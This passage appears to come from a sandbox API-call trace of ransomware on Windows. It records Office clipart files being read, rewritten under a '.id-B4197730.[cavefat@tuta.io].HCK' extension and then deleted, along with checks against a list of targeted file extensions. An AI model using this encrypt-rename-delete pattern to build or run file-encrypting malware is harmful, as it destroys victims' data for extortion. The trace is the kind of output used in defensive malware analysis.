Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0231.717] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.717] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0231.718] GetLastError () returned 0x0 [0231.718] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x305c, lpOverlapped=0x0) returned 1 [0231.933] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3060, lpOverlapped=0x0) returned 1 [0231.933] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0231.934] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0231.934] SetEndOfFile (hFile=0x4bc) returned 1 [0231.934] CloseHandle (hObject=0x4bc) returned 1 [0231.934] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0231.934] SetEndOfFile (hFile=0x4cc) returned 1 [0231.936] CloseHandle (hObject=0x4cc) returned 1 [0231.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0232.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString=".doc") returned 4 [0232.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString=".docx") returned 5 [0232.163] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.163] lstrlenW (lpString=".pdf") returned 4 [0232.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString=".xls") returned 4 [0232.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.163] lstrlenW (lpString=".xlsx") returned 5 [0232.163] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.163] lstrlenW (lpString=".ppt") returned 4 [0232.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString=".zip") returned 4 [0232.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.163] lstrlenW (lpString=".rar") returned 4 [0232.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString=".bz2") returned 4 [0232.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString=".7z") returned 3 [0232.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString=".dbf") returned 4 [0232.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString=".1cd") returned 4 [0232.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString=".jpg") returned 4 [0232.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.163] lstrlenW (lpString=".doc") returned 4 [0232.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString=".docx") returned 5 [0232.163] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0232.163] lstrlenW (lpString=".pdf") returned 4 [0232.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.163] lstrlenW (lpString=".xls") returned 4 [0232.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.163] lstrlenW (lpString=".xlsx") returned 5 [0232.163] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0232.164] lstrlenW (lpString=".ppt") returned 4 [0232.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.164] lstrlenW (lpString=".zip") returned 4 [0232.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.164] lstrlenW (lpString=".rar") returned 4 [0232.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.164] lstrlenW (lpString=".bz2") returned 4 [0232.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.164] lstrlenW (lpString=".7z") returned 3 [0232.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.164] lstrlenW (lpString=".dbf") returned 4 [0232.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.164] lstrlenW (lpString=".1cd") returned 4 [0232.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0232.164] lstrlenW (lpString=".jpg") returned 4 [0232.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.164] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.164] lstrlenW (lpString="J0105506.WMF") returned 12 [0232.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.165] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=2912) returned 1 [0232.165] CloseHandle (hObject=0x4b0) returned 1 [0232.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0232.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.165] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.165] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.166] GetLastError () returned 0x0 [0232.166] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xb60, lpOverlapped=0x0) returned 1 [0232.167] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xb70, lpOverlapped=0x0) returned 1 [0232.168] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.168] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.168] SetEndOfFile (hFile=0x54c) returned 1 [0232.168] CloseHandle (hObject=0x54c) returned 1 [0232.168] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.168] SetEndOfFile (hFile=0x4b0) returned 1 [0232.170] CloseHandle (hObject=0x4b0) returned 1 [0232.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.171] lstrlenW (lpString=".doc") returned 4 [0232.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString=".docx") returned 5 [0232.171] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.171] lstrlenW (lpString=".pdf") returned 4 [0232.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString=".xls") returned 4 [0232.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.171] lstrlenW (lpString=".xlsx") returned 5 [0232.171] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.171] lstrlenW (lpString=".ppt") returned 4 [0232.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.171] lstrlenW (lpString=".zip") returned 4 [0232.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.171] lstrlenW (lpString=".rar") returned 4 [0232.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString=".bz2") returned 4 [0232.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString=".7z") returned 3 [0232.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".dbf") returned 4 [0232.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".1cd") returned 4 [0232.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".jpg") returned 4 [0232.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".doc") returned 4 [0232.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString=".docx") returned 5 [0232.172] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0232.172] lstrlenW (lpString=".pdf") returned 4 [0232.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString=".xls") returned 4 [0232.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.172] lstrlenW (lpString=".xlsx") returned 5 [0232.172] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0232.172] lstrlenW (lpString=".ppt") returned 4 [0232.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".zip") returned 4 [0232.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.172] lstrlenW (lpString=".rar") returned 4 [0232.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString=".bz2") returned 4 [0232.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString=".7z") returned 3 [0232.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".dbf") returned 4 [0232.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".1cd") returned 4 [0232.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0232.172] lstrlenW (lpString=".jpg") returned 4 [0232.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.173] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.173] lstrlenW (lpString="J0105520.WMF") returned 12 [0232.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.174] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=31812) returned 1 [0232.174] CloseHandle (hObject=0x4b0) returned 1 [0232.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0232.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.174] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.175] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.175] GetLastError () returned 0x0 [0232.175] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7c44, lpOverlapped=0x0) returned 1 [0232.177] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7c50, lpOverlapped=0x0) returned 1 [0232.178] ReadFile (in: hFile=0x4b0, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0232.178] WriteFile (in: hFile=0x54c, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0232.178] SetEndOfFile (hFile=0x54c) returned 1 [0232.178] CloseHandle (hObject=0x54c) returned 1 [0232.178] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0232.178] SetEndOfFile (hFile=0x4b0) returned 1 [0232.182] CloseHandle (hObject=0x4b0) returned 1 [0232.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0232.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.183] lstrlenW (lpString=".doc") returned 4 [0232.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.183] lstrlenW (lpString=".docx") returned 5 [0232.183] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.183] lstrlenW (lpString=".pdf") returned 4 [0232.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.183] lstrlenW (lpString=".xls") returned 4 [0232.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.183] lstrlenW (lpString=".xlsx") returned 5 [0232.183] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.183] lstrlenW (lpString=".ppt") returned 4 [0232.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.183] lstrlenW (lpString=".zip") returned 4 [0232.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.183] lstrlenW (lpString=".rar") returned 4 [0232.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.183] lstrlenW (lpString=".bz2") returned 4 [0232.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.183] lstrlenW (lpString=".7z") returned 3 [0232.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.183] lstrlenW (lpString=".dbf") returned 4 [0232.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".1cd") returned 4 [0232.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".jpg") returned 4 [0232.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".doc") returned 4 [0232.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString=".docx") returned 5 [0232.184] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.184] lstrlenW (lpString=".pdf") returned 4 [0232.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString=".xls") returned 4 [0232.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.184] lstrlenW (lpString=".xlsx") returned 5 [0232.184] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.184] lstrlenW (lpString=".ppt") returned 4 [0232.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".zip") returned 4 [0232.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.184] lstrlenW (lpString=".rar") returned 4 [0232.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString=".bz2") returned 4 [0232.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString=".7z") returned 3 [0232.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".dbf") returned 4 [0232.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".1cd") returned 4 [0232.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0232.184] lstrlenW (lpString=".jpg") returned 4 [0232.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.184] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.184] lstrlenW (lpString="J0105526.WMF") returned 12 [0232.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.185] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=17332) returned 1 [0232.185] CloseHandle (hObject=0x4b0) returned 1 [0232.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0232.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 